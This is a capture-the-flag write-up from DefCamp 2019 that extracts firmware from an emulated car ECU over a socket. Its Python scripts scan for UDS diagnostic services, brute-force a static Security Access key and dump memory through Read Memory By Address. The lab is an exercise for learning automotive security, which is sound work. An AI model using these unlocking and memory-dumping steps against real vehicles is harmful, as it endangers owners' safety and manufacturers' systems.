Capture the Firmware Write-up Hacking Village 2019

During DefCamp 2019, Garret Advancing Motion organised a competition in the Hacking Village called Capture the Firmware. The challenge description was straight forward:

We have information that our new unreleased firmware is used on an unauthorised car. All you need to do is to find which firmware version runs on the target car.

The challenge goal is to extract the “firmware” from an emulated ECU exposed over TCP-IP socket.

Challenge Set-up

$ cd server
$ python3 server.py

Task

Connect to server on port 11231 and find the firmware version !!!

Step 1 – Identify the service

First of all, the only input is the port number, so the first step is to mess around with the socket.

Code

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 11231))

print(sock.recv(10))

Output

> b'\x10GISO-TP'

Now, if you search the GISO-TP on google, you can find out that ISO-TP is an automotive protocol used as a “transport layer”. This is a good hit to suspect this message to be an ISO-TP frame, especially that we are talking to an ECU. The Wiki page describe the protocol frames and flow. Most important: there are 4 frames type, the first nibble is the frame type and the First Frame should be acknowledged with a Flow Control.

By inspecting the output, we can see this is an 8 byte long message and the first byte is 0x10. The high nibble of 1 means this is a First Frame and we must send a Flow Control to receive the remaining part of the message. The complete message size is encoded in the low nibble of the first byte and the second byte, that means the total size is (msg[0] & 0x0F) * 0x100 + msg[1], which is 0x47.

We already received the first 6 bytes of the message, so we should read 0x41 more bytes. One Consecutive Frame can carry up to 7 bytes, so there are 10 fames left to read.

Code

print(sock.recv(8))                 # Recv FirstFrame
sock.send(bytes([0x30] + [0] * 7))  # Send FlowControl 
for i in range(10):
	print(sock.recv(8))             # Recv ConsecutiveFrame

Output

> b'\x10GISO-TP'
> b'! fatal '
> b'"error. '
> b'#Disable'
> b'$ this m'
> b'%essage '
> b'&from IS'
> b"'O-14229"
> b'( config'
> b')uration'
> b'*! \x00\x00\x00\x00\x00'

If we remove the PCI bytes from the message ISO-TP fatal error. Disable this message from ISO-14229 configuration! which is leading to the second step.

Step 2 – Understand protocol

We have the message and an ISO standard, Road vehicles — Unified diagnostic services (UDS). Some Google research will teach you that diagnostics messages are sent over ISO-TP and there are 2 types of messages: requests and responses. Let’s send some requests to ECU and see if we got an response. The ping request for an ECU is the Tester Present which is a 1 byte request: 0x3E. This request must be put into a Single Frame, because the ISO-TP is the transport protocol: 0x11 0x3e (Single Frame, size 1, data 0x3E)

Code

sock.send(bytes([0x01, 0x3e] + [0x00] * 6))
print(' '.join("{:02x}".format(c) for c in sock.recv(8)))

Output

> 03 7f 3e 11 00 00 00 00

We got an response: Single Frame message with size 3: 7F 3e 11. The 7F means a Negative response and the 11 is the Negative response code. NRC 11 means serviceNotSupported.

Step 3 – Identify protocol capabilities

If this service is not supported, let’s find out which one is available. Valid service ID are 00-3F and 80-BF

Code

for i in range(0x40):
	sock.send(bytes([0x01, i] + [0x00] * 6))
	if sock.recv(8)[:4] != bytes([0x03, 0x7F, i, 0x11]):
		print(hex(i))

Output

> 0x10 <- Diagnostic Session Control	
> 0x23 <- Read Memory By Address	
> 0x27 <- Security Access	

Read Memory By Address service is available, so let’s use it to read the ECU’s memory. The format for this request is: 23 AS AA ... SS ... where L is number of bytes used for address and S the number of bytes used for size. To read one byte from address 00 we should send 23 11 00 01.

Code

sock.send(bytes([0x04, 0x23, 0x11, 0x00, 0x01] + [0] * 3))
print(' '.join("{:02x}".format(c) for c in sock.recv(8)))

Output

> 03 7f 23 7f 00 00 00 00

The response is a negative one (7F) and the NRC is serviceNotSupportedInActiveSession, which means we need to change the session (service 0x10) before accessing this service.

Step 4 – Session Control

The Diagnostic Session Control request format is 10 SS where SS is the session id. The programming session has an ID of 0x02 so let’s try it out.

Code

# Switch to Programming Session
sock.send(bytes([0x02, 0x10, 0x02] + [0] * 5))
print(' '.join("{:02x}".format(c) for c in sock.recv(8)))

# Read from memory
sock.send(bytes([0x04, 0x23, 0x11, 0x00, 0x01] + [0] * 3))
print(' '.join("{:02x}".format(c) for c in sock.recv(8)))

Output

> 02 50 02 00 00 00 00 00
> 03 7f 23 33 00 00 00 00

The first response is a positive response for switching to Programming Session but the second one is still negative, but this time securityAccessDenied, which means we need to “unlock” the service first by using Security Access.

Step 5 – Authentication Key

To “unlock” the protected services, 2 requests should be made : request seed 27 01 and send key 27 02. Usually, an ECU is generating a 4 byte seed which is used to generate the authentication key.

Code

sock.send(bytes([0x02, 0x27, 0x01] + [0] * 5))
print(' '.join("{:02x}".format(c) for c in sock.recv(8)))

Output

> 06 67 01 53 5f a3 85 00

So we have a seed of 53 5f a3 85. If you run this again, you can see that the seed is the same so the key will be also the same. Due to the static seed, the key can be brute-forced.

Code

key = 0
while(1):
	sock.send(bytes([0x02, 0x27, 0x01] + [0] * 5))
	
	key_bytes =  [key >> i & 0xff for i in (24,16,8,0)]
	sock.send(bytes([0x06, 0x27, 0x02] + key_bytes + [0] ))
	if(sock.recv(8)[1]==0x67):
		break;
	key += 1
print(' '.join("{:02x}".format(c) for c in key_bytes))

Output

> 00 00 00 85

Step 6 – Read Memory

The ECU is unlocked, let’s read the memory again.

Code

sock.send(bytes([0x02, 0x10, 0x02] + [0] * 5))
sock.recv(8)
sock.send(bytes([0x02, 0x27, 0x01] + [0] * 5))
sock.recv(8)
sock.send(bytes([0x06, 0x27, 0x02, 0x00, 0x00, 0x00, 0x85] + [0] * 1))
sock.recv(8)
sock.send(bytes([0x04, 0x23, 0x11, 0x00, 0x01] + [0] * 3))
print(' '.join("{:02x}".format(c) for c in sock.recv(8)))

Output

> 03 7f 23 31 00 00 00 00

The negative response has changed to requestOutOfRange. That means the read size is too large or the start address is invalid. The read size is 1, so the problem is the read address, another brute-force is needed to find out a valid value. ECUs uses embedded processors and have a small amount of RAM and usually the addresses are 2 bytes long. So let’s brute-force it, reading 1 byte and increasing the address value by 0x100 (most probable the RAM segment is aligned to 0x100 or 0x1000 ).

Code

for i in range(0x100):
	sock.send(bytes([0x05, 0x23, 0x21, i, 0x00, 0x01] + [0] * 2))
	if(sock.recv(8)[1] == 0x63):
		print(hex(i * 0x100))
		break;

Output

> 0x1000

Step 7 – Single Frame Response

Now, we have the start address, let’s read the memory: start at 0x1000 and read chunks of 6 bytes so the response is 6+ 1(positive response) = 7 bytes and fits into a Single Frame response.

Code

mem = open("dump","wb")
addr = 0x1000
while(1):
	sock.send(bytes([0x05, 0x23, 0x21, addr//0x100, addr%0x100, 0x06] + [0] * 2))
	data = sock.recv(8)
	if data[1] != 0x63:
		break
	mem.write(data[2:])
	addr += 6
mem.close()

Using a HEX viewer, you can easily see that there’s a BASE64 encoded string inside the memory dump which is the challenge’s flag. alt text

References

    Related articles​

    DefCamp 2024 highlights: over 2,000 infosec ..

    BY Adina Harabagiu
    DefCamp 2024 wasn’t your average conference. It was two packed days of cybersecurity action, held in ..

    “Bad actors will begin using massive A.I. to ..

    BY Adina Harabagiu
    Edition #14 of DefCamp is just around the corner, and the excitement is building! With less than a week to go,..

    DDoS Protection Solutions by Orange

    BY Adina Harabagiu
    Protect your company’s data against DDoS (Distributed Denial of Service) attacks.